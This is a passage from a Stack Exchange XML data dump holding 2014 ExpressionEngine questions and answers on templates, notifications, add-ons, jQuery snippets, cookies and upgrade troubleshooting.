  <row Id="21990" PostTypeId="1" AcceptedAnswerId="21992" CreationDate="2014-05-15T14:18:02.647" Score="2" ViewCount="130" Body="&lt;p&gt;In Channel Preferences, there's a field &quot;Enable recipient list below for channel entry notification?&quot; But AFAIK that's for when a new entry is published. How about for when an existing entry's Status is changed?&lt;/p&gt;&#xA;" OwnerUserId="1327" LastActivityDate="2014-05-21T19:08:15.683" Title="Can I have a user emailed when Status is changed?" Tags="|email|status|notification|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21991" PostTypeId="2" ParentId="21984" CreationDate="2014-05-15T14:35:09.780" Score="0" Body="&lt;p&gt;Go to the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/channels/custom_fields_edit.html&quot; rel=&quot;nofollow&quot;&gt;Channel Fields Settings&lt;/a&gt; screen for the field in question, and change the &lt;strong&gt;Default text Formatting&lt;/strong&gt; to &quot;XHTML&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you've done that, you can also remove the &lt;code&gt;&amp;lt;br/&amp;gt;&lt;/code&gt; tags, and simply enter a single carriage return to create them. (Two carriage returns will create a paragraph.)&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-05-15T14:35:09.780" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="21992" PostTypeId="2" ParentId="21990" CreationDate="2014-05-15T14:39:35.093" Score="3" Body="&lt;p&gt;Yes. Take a look at the add on MX Notify Control &lt;a href=&quot;http://devot-ee.com/add-ons/mx-notify-control&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/mx-notify-control&lt;/a&gt; which should allow you to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, for even more flexibility take a look at Postmaster &lt;a href=&quot;http://devot-ee.com/add-ons/postmaster&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/postmaster&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-05-15T14:39:35.093" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21993" PostTypeId="2" ParentId="21988" CreationDate="2014-05-15T14:42:26.663" Score="1" Body="&lt;p&gt;First, to remove the first index, refer to the documentation &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, to access the index page of the template group, it is not index.php, you would simply go to &lt;a href=&quot;http://www.nameofsite/news/&quot; rel=&quot;nofollow&quot;&gt;http://www.nameofsite/news/&lt;/a&gt; . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not know if you changed the name of your index template but it does not need the .php extension. Expressionengine templates are .html files (if they are synced ) even though they can have php in them.&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-05-15T14:42:26.663" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21994" PostTypeId="2" ParentId="10886" CreationDate="2014-05-15T14:53:31.640" Score="4" Body="&lt;p&gt;For those who may not wish to spend $65 on Postmaster, you would probably be able to achieve this for free by generating an RSS feed of your entries, and then using something like Zapier (or ITTT) to push to Facebook and Twitter every time there's a new entry published. Just a thought.&lt;/p&gt;&#xA;" OwnerUserId="1094" LastActivityDate="2014-05-15T14:53:31.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21995" PostTypeId="2" ParentId="21871" CreationDate="2014-05-15T15:10:16.110" Score="1" Body="&lt;p&gt;From Solspace support team:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Ideally, put the code for the Freeform error page alone in its own&#xA;  template (eg. /contact/error), i.e. not with other, regular EE code.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In my case that tip works. Not sure which part of EE code interfere, but will dig deeper in that issue to find out.&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-05-15T15:10:16.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21996" PostTypeId="2" ParentId="21968" CreationDate="2014-05-15T15:31:42.000" Score="0" Body="&lt;p&gt;In response to the reponse from Solspace, here's what I came up with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!--&#xA;    Basic usage:&#xA;    {embed=&quot;includes/process_notification&quot; data=&quot;{myData}&quot;}&#xA;    {embed:data} is now the data we're working with&#xA;--}&#xA;&#xA;&amp;lt;?php&#xA;&#xA;function processOutput($data)&#xA;{&#xA;    // First get all the products into single lines we can work with&#xA;    $process_product = explode(&quot;,&quot;, $data);&#xA;    // String to hold our return value&#xA;    $return_str = &quot;&quot;;&#xA;    // Loop through and process the extracted strings&#xA;    foreach($process_product as $product) {&#xA;        try{&#xA;            // Split the string by the &quot;/&quot; delimiter&#xA;            $explode = explode(&quot;/&quot;, $product);&#xA;            // Count should always be 4, even if no QTY entered, it will contain &quot; &quot;&#xA;            if(count($explode) == 4){&#xA;                list($sku, $descr, $price, $qty) = explode(&quot;/&quot;, $product);&#xA;                // Checking if there really is a QTY&#xA;                if (trim($qty) !== &quot;&quot;) {&#xA;                    // echo(&quot; SKU: &quot; . $sku . &quot; Description: &quot; . $descr . &quot; Price: $&quot; . $price . &quot; Qty: &quot; . $qty . &quot;&amp;lt;br/&amp;gt;&quot;);&#xA;                    $ordered_product = (&quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&quot; . $sku . &quot;&amp;lt;/td&amp;gt;&quot; . &quot;&amp;lt;td&amp;gt;&quot; . $descr . &quot;&amp;lt;/td&amp;gt;&quot; . &quot;&amp;lt;td&amp;gt;(size)&amp;lt;/td&amp;gt;&quot; . &quot;&amp;lt;td&amp;gt;&quot; . $qty . &quot;&amp;lt;/td&amp;gt;&quot; . &quot;&amp;lt;td&amp;gt;&quot; . $price . &quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&quot;);&#xA;                    //echo($ordered_product);&#xA;                    $return_str .= $ordered_product . &quot;&amp;lt;br&amp;gt;&quot;;&#xA;                }&#xA;            }&#xA;        }&#xA;        catch (Exception $e){&#xA;            log_message('error', $e-&amp;gt;getMessage()); &#xA;            return;&#xA;        } // end try/catch&#xA;    }// end for&#xA;&#xA;    return $return_str;&#xA;&#xA;} // end output&#xA;&#xA;$string = strip_tags(&quot;{embed:data}&quot;);&#xA;echo processOutput($string);&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem now is that nothing is output at all??&#xA;If I simply do a &lt;code&gt;echo(&quot;{embed:data}&quot;);&lt;/code&gt; I get the same thing as if I didn't use the embed at all, which is what I would expect. After testing the code on a string just like the one passed in as &lt;code&gt;{embed:data}&lt;/code&gt; I get the output I'm after.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the code used as seen above returns nothing? I don't understand why it works on a raw string but not on &lt;code&gt;&quot;{embed:data}&quot;&lt;/code&gt; ? I have php enabled on the template, and parse order is output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: Problem was string passed in was html encoded (littered with &lt;code&gt;&amp;lt;br&amp;gt;&lt;/code&gt; tags, so I needed to strip_tags first. Updated code shown above.&lt;/p&gt;&#xA;" OwnerUserId="2062" LastEditorUserId="2062" LastEditDate="2014-05-15T19:21:32.960" LastActivityDate="2014-05-15T19:21:32.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21998" PostTypeId="2" ParentId="21987" CreationDate="2014-05-15T18:36:30.857" Score="1" Body="&lt;p&gt;Hi you can do something similar to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;div&amp;gt;&#xA;       &amp;lt;ul&amp;gt;&#xA;          {exp:channel:entries channel=&quot;foo&quot; limit=&quot;10&quot; dynamic=&quot;no&quot;}&#xA;            &amp;lt;li class=&quot;select-entry&quot;&amp;gt;&amp;lt;a class=&quot;entry{count}&quot; href=&quot;#&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;          {/exp:channel:entries}&#xA;       &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;entry-data&quot;&amp;gt;&#xA;       {exp:channel:entries channel=&quot;foo&quot; limit=&quot;10&quot; dynamic=&quot;no&quot;}&#xA;         &amp;lt;div class=&quot;entry-data entry{count}&quot; style=&quot;display:none;&quot;&amp;gt; &#xA;             {data}&#xA;         &amp;lt;/div&amp;gt;&#xA;       {/exp:channel:entries}&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your js do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function (){&#xA;   $('.select-entry a').on('click', function(e) {&#xA;      e.preventDefault;        &#xA;      var class = $(this).find('a').attr('class');&#xA;      $('.entry-data').hide(); &#xA;      $('.entry-data .' + class).show();&#xA;   });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you create two instances of your channel entries. One is for the listing the other is for the data. We give them unique classes using the &quot;count&quot; variable. Then in jquery, we prevent the a click, hide all any other selected data, get the clicked &quot;a&quot; tags class and shows the appropriate div based on that class.&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-05-15T18:36:30.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21999" PostTypeId="2" ParentId="21973" CreationDate="2014-05-15T19:48:23.943" Score="1" Body="&lt;p&gt;Updating the field name to name=&quot;custom_field_name[data][]&quot; was the solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select class=&quot;&quot; name=&quot;log_skill[data][]&quot; id=&quot;log_skill&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2290" LastActivityDate="2014-05-15T19:48:23.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22000" PostTypeId="2" ParentId="21969" CreationDate="2014-05-15T19:49:35.117" Score="0" Body="&lt;p&gt;The answer according to Brandon at Pixal tonic:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't actually need to use {exp:playa:children} if you already have an entry or Matrix row, and you want to just loop through the Playa field's related entries. In that case you can just reference your actual Playa field's short name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, Matrix supports the var_prefix= parameter as well, which is helpful when looping through Playa-within-Matrix-within-Playa.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{3rd_order_under var_prefix=&quot;thirdorder_playa&quot;}&#xA;        {thirdorder_playa:discipline_3rd_order var_prefix=&quot;discipline_matrix&quot;}&#xA;            {discipline_matrix:m_p_discipline var_prefix=&quot;mx_disipline_playa&quot;}&#xA;                {mx_disipline_playa:title}         &#xA;            {/discipline_matrix:m_p_discipline}        &#xA;        {/thirdorder_playa:discipline_3rd_order}&#xA;{/3rd_order_under}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make sense?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Brandon&lt;/p&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="343" LastEditDate="2014-06-24T02:20:20.403" LastActivityDate="2014-06-24T02:20:20.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22001" PostTypeId="2" ParentId="21985" CreationDate="2014-05-15T20:14:49.857" Score="0" Body="&lt;p&gt;Solved! The free alternative to CKEditor plugin is making a front-end, more user friendly administration using the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/&quot; rel=&quot;nofollow&quot;&gt;Channel Form Module&lt;/a&gt; and just using the CKEditor as you would normally!&lt;/p&gt;&#xA;" OwnerUserId="3109" LastActivityDate="2014-05-15T20:14:49.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22002" PostTypeId="2" ParentId="45" CreationDate="2014-05-15T21:04:17.800" Score="0" Body="&lt;p&gt;I am doing this all day now.  I have 3 installs of EE running the same website.  One is a personally hosted version of the website, the other is the client provided preview site and lastly we have the live site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Adrian answered I think he totally nailed the flow, but as others have said freezing content is sometimes not an option.  You have to then figure out a way to make edits in your development environment and get those edits to fit as closely as possible to the live site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To echo what Erik said by only deploying one feature at time, that is also helpful too.  It keeps overlapping edits to minimum.  Even still sometimes that is not an option either.  Some clients request a batch of changes at once and then want to preview them before they go live.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I've done is I track everything!&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;First thing I do is make a full backup of all site files and database from the live site.&lt;/li&gt;&#xA;&lt;li&gt;I'll load these files into my development site.  This gets me to the latest version and I'll current at least temporarily.  If content is added to the live site I'm not going to get those changes.  You'll have to be aware of this and make changes to your code if needed when you move to the live site.&lt;/li&gt;&#xA;&lt;li&gt;Track Everything: I track every template I edit. I track by line number and code added so its easy to push to the live site. &lt;/li&gt;&#xA;&lt;li&gt;Breaking up the updates you make into babysteps is useful.  By babysteps I mean i create an outline of the steps I'm taking and I've very detailed about it too. (This does add&#xA;time to the project, but I would prefer to add time in this way than&#xA;adding time trying to figure out something I've already done). &lt;/li&gt;&#xA;&lt;li&gt;If i add modules, I track which modules I've installed and the steps to get it working including all of the settings.&lt;/li&gt;&#xA;&lt;li&gt;If i update js or css I also track by line number and code added.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So once my edits are done I end up with a lengthy document that contains every step I took from start to finish.  Once approved I begin migrating my changes to the client hosted preview site and hopefully in this stage we nail any issues before going to the live site.  Of course i adjust my notes as needed. That step is like a second chance to run through my steps in my document.  I test my notes against the process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I repeat all of these steps once again when i migrate to the live site if all goes well on the preview site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm in the middle of this now.  At the very end, once all of my changes are on the live site I'm going to export from the live site and update both of my staging websites.  That way all of the sites will be on the most current version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have some specific issues in regards to Entry ID numbers not matching in the development, staging, and production sites.  I want to get my databases in sync at the end of this procoess so that all of my templates will sync up as well.  Right now I have to make a few changes to some templates so they load the correct entry by the ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Excellent documentation is the key to success here.&lt;/p&gt;&#xA;" OwnerUserId="1711" LastEditorUserId="1711" LastEditDate="2014-05-15T21:25:18.527" LastActivityDate="2014-05-15T21:25:18.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22003" PostTypeId="1" CreationDate="2014-05-15T21:32:49.450" Score="1" ViewCount="165" Body="&lt;p&gt;I wants to stop the search field submission, if my search field is empty or null. can anyone help me that how to do this, or is it possible. because when i am clicking on search button when my search field is empty, EE redirects to me on default error template where showing &quot;You did not submit a search term&quot; , i wants to stop the redirection on this page, can i send it to my any other template when my search field will be empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="3038" LastEditorUserId="197" LastEditDate="2014-05-16T13:09:38.143" LastActivityDate="2014-05-16T13:09:38.143" Title="how to stop null submission of search in expressionengine" Tags="|javascript|simple-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22004" PostTypeId="1" AcceptedAnswerId="22005" CreationDate="2014-05-15T22:23:01.030" Score="1" ViewCount="32" Body="&lt;p&gt;I have a page that hides some amount of page content for free viewers. We have a certain category of 'sample' articles which should be available for everyone. Is there an if clause which basically reads if category = x show all content regardless of membership member?&lt;/p&gt;&#xA;" OwnerUserId="2867" LastActivityDate="2014-05-15T22:48:03.953" Title="changing permissions on certain categories" Tags="|members|ifelse|permissions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22005" PostTypeId="2" ParentId="22004" CreationDate="2014-05-15T22:48:03.953" Score="3" Body="&lt;p&gt;Not exactly, but you could put your Channel Entries tag into an embedded template, and use a member group ID conditional to send it the parameters you want based on the visitors membership status.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in_group_id == 7}&#xA;    {embed=&quot;template_group/_template_name&quot; categories=&quot;1|2|3|4&quot;}&#xA;{if:else}&#xA;    {embed=&quot;template_group/_template_name&quot; categories=&quot;1&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And on the &lt;code&gt;template_group/_template_name&lt;/code&gt; embedded template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; category=&quot;{embed:categories}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2014-05-15T22:48:03.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22006" PostTypeId="1" CreationDate="2014-05-15T22:54:09.313" Score="3" ViewCount="168" Body="&lt;p&gt;I am having an issue where checking a checkbox next to one entry in my control panel is causing all the previous checkboxes to become checked as well. Obviously it's not supposed to do this, and I have no idea how to fix it or what's going on. I thought it might have been Zenbu, but everything works fine on my local version, and the staging version has all the same code and add-ons installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've disabled my custom CP theme to try the default again with no change.&#xA;I've disabled almost all the extensions, accessories (not modules) and the CP theme that could have been affecting the publish layout without any effect:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;MX extended content menu&lt;/li&gt;&#xA;&lt;li&gt;NSM morphine theme&lt;/li&gt;&#xA;&lt;li&gt;responsive CP&lt;/li&gt;&#xA;&lt;li&gt;Sassy CP theme&lt;/li&gt;&#xA;&lt;li&gt;Zenbu&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I haven't listed the modules, but Zenbu is the only one I can think of that might be affecting this. If I uninstall the module I will have to set all the layouts up again, but if this fixes the checkboxes, I'm willing to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked the console and there are no Javascript errors, so I can't figure out how to troubleshoot this, since disabling almost everything (that won't cause me lots of extra time to set up again) had no effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a screenshot of what happens&#xA;&lt;img src=&quot;https://i.stack.imgur.com/tf9bU.png&quot; alt=&quot;clicking checkbox activates all checkboxes above&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1693" LastActivityDate="2014-06-22T15:30:08.893" Title="Control Panel checkboxes working incorrectly" Tags="|control-panel|publish-layout|checkbox|" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22007" PostTypeId="2" ParentId="22003" CreationDate="2014-05-15T23:05:07.517" Score="4" Body="&lt;p&gt;You have this tagged as PHP, but this sounds more like a job for JavaScript. The Search module is already preventing empty searches, which is why you get that error page. Lots of ways to accomplish this, here is one way if you are using jQuery:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function() {&#xA;    $('#search').submit(function() {    &#xA;        if ($('#keywords').val() == '') {&#xA;            return false;&#xA;        }&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2014-05-15T23:05:07.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22008" PostTypeId="1" CreationDate="2014-05-15T23:28:11.447" Score="1" ViewCount="79" Body="&lt;p&gt;Is there a way I can set this dynamically? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have users submitting channel entries from the front end via a Channel Form. I would like to route the notification email to a recipient the user chooses from one of the form fields.&lt;/p&gt;&#xA;" OwnerUserId="2290" LastActivityDate="2014-05-15T23:28:11.447" Title="Channel Preferences : Email Address of notification recipients" Tags="|channel-entries|channel-form|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22009" PostTypeId="2" ParentId="21917" CreationDate="2014-05-16T06:11:27.250" Score="1" Body="&lt;p&gt;I'm just thinking here, but if you install &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt; and use something like the following. This code is not tested and not sure get_list can be nested but the theory should be sound :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries url_title=&quot;{segment_2}&quot;}&#xA;{exp:stash:set_list name=&quot;entries&quot; parse_tags=&quot;yes&quot;} //Grab all your entries&#xA;    {grid}&#xA;        {stash:title}{grid:text_field}{/stash:title}&#xA;        {stash:file}{grid:file}{/stash:file}&#xA;        {stash:related}{grid:relationship}{grid:relationship:title}{/grid:relationship}{/stash:related}&#xA;    {/grid}&#xA;{/exp:stash:set_list}&#xA;&#xA;{exp:stash:set_list name=&quot;group_titles&quot; unique=&quot;yes&quot; trim=&quot;yes&quot;} //Grab just the titles in a seperate list&#xA;    {grid}&#xA;        {stash:group}{grid:relationship}{grid:relationship:title}{/grid:relationship}{/stash:group}&#xA;    {/grid}&#xA;{/exp:stash:set}&#xA;{/exp:channel:entries}&#xA;&#xA;{exp:stash:parse}&#xA;{exp:stash:get_list name=&quot;group_titles&quot; prefix=&quot;outer&quot;} //Grab the list of titles&#xA;    &amp;lt;h1&amp;gt;{outer:group}&amp;lt;/h1&amp;gt;&#xA;    {exp:stash:get_list name=&quot;entries&quot; match=&quot;#{outer:group}#&quot; against=&quot;related&quot; prefix=&quot;inner&quot;} //Grab the entries and match them against the current group&#xA;    &amp;lt;li&amp;gt;{inner:title} / {inner:file} / {inner:group}&amp;lt;/li&amp;gt;&#xA;    {/exp:stash:get_list}&#xA;{/exp:stash:get_list}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-05-16T06:11:27.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22010" PostTypeId="1" CreationDate="2014-05-16T13:20:48.920" Score="0" ViewCount="84" Body="&lt;p&gt;I've got the following code working on a static page, but it does not work with EE. Could anyone tell me why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CSS&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.contentB {display: none;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;HTML&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;contentA&quot;&amp;gt;  &#xA;   &amp;lt;h1&amp;gt;Sign up to download (set cookie)&amp;lt;/h1&amp;gt;&#xA;   &amp;lt;button class=&quot;clickme&quot;&amp;gt;ClickMe&amp;lt;/button&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;contentB&quot;&amp;gt;  &#xA;   &amp;lt;h1&amp;gt;Download (cookie set)&amp;lt;/h1&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;JS&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;jquery.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;jquery.cookie.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;$(document).ready(function () {&#xA;        $(&quot;.clickme&quot;).on('click',function() {&#xA;            $.cookie('showContent', 'true', { expires: 7, path: '/' });&#xA;          });&#xA;&#xA; }); &#xA;&#xA;$ (function (){&#xA;    if ($.cookie('showContent') == 'true') {&#xA;        $( &quot;.contentB&quot; ).show();&#xA;        $( &quot;.contentA&quot; ).hide();&#xA;    }&#xA;});&#xA; &amp;lt;/script&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically I want to show contentB and hide contentA if the cookie is present.&lt;/p&gt;&#xA;" OwnerUserId="2024" LastActivityDate="2014-05-16T13:27:18.747" Title="Cookies failing with EE" Tags="|cookies|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22011" PostTypeId="2" ParentId="22010" CreationDate="2014-05-16T13:27:18.747" Score="2" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;jquery.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;jquery.cookie.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is likely your problem - you're calling your scripts in a relative fashion, but your URL likely has multiple segments, so the browser is looking for the scripts in the wrong place. Change these to absolute references:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;/jquery.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;/jquery.cookie.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-05-16T13:27:18.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22012" PostTypeId="2" ParentId="20993" CreationDate="2014-05-16T13:30:45.383" Score="1" Body="&lt;p&gt;Yes, try this plugin: &lt;strong&gt;&lt;a href=&quot;https://github.com/pixelandtonic/wygwam_upload_tags&quot; rel=&quot;nofollow&quot;&gt;https://github.com/pixelandtonic/wygwam_upload_tags&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll have to change the path in your file settings to include {member_id}&lt;/p&gt;&#xA;" OwnerUserId="3112" LastActivityDate="2014-05-16T13:30:45.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22013" PostTypeId="2" ParentId="21917" CreationDate="2014-05-16T15:11:40.527" Score="1" Body="&lt;p&gt;I resolved using Matrix and Playa. I used those because of the Playa parents tag. I could not use the native features of Grid and Relationship because, according to the documentation, “Currently it is not possible to get the parents of a relationship field that is inside of a Grid field”.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;arguments&quot;}&#xA; {title}&#xA;  {exp:playa:parents channel=&quot;documents&quot; var_prefix=&quot;doc&quot;}&#xA;   {doc:matrix_field search:relationship=&quot;[{entry_id}]&quot;}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{file}&quot;&amp;gt;{text_field}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;   {/doc:matrix_field}&#xA;  {/exp:playa:parents}&#xA;{/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2684" LastActivityDate="2014-05-16T15:11:40.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22014" PostTypeId="1" AcceptedAnswerId="22020" CreationDate="2014-05-16T15:42:49.133" Score="1" ViewCount="197" Body="&lt;p&gt;I have been trying to upgrade a site from EE 2.5.5 to EE 2.8.1, but I get a white screen on the admin.php page after the upgrade is complete. The only way to get rid of the white screen is to disable extensions in the config.php file. I also get the login window that usually appears after the usual non-use timeout, except it is not a popup. This happens, when I am logged in. It appears at the bottom of the control panel - see screebshot below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried upgrading all plugins, but so far I cannot enable extensions without getting the white screen. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have upgraded numerous sites to EE 2.8.1 but none have been this problematic. Any sage advice is welcome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6NsDX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2014-05-16T18:28:33.370" Title="Trouble Upgrading from 2.5.5 to 2.8.1 - white screen" Tags="|upgrade|extension|2.8|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22015" PostTypeId="1" CreationDate="2014-05-16T15:52:17.170" Score="0" ViewCount="62" Body="&lt;p&gt;As per this post (from October last) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/14325/expresso-store-realex-payments#_=_&quot;&gt;https://expressionengine.stackexchange.com/questions/14325/expresso-store-realex-payments#&lt;em&gt;=&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any support for Realex Payments provider? I have commissioned the Realex payment module for the previous version of Store, but we have moved on the upgrades and now need to offer the same thing for what is a much better store version. &lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2015-01-28T18:12:54.977" Title="Is there a Realex Payments module for Expresso Store 2?" Tags="|expresso-store|payment-gateway|" AnswerCount="1" 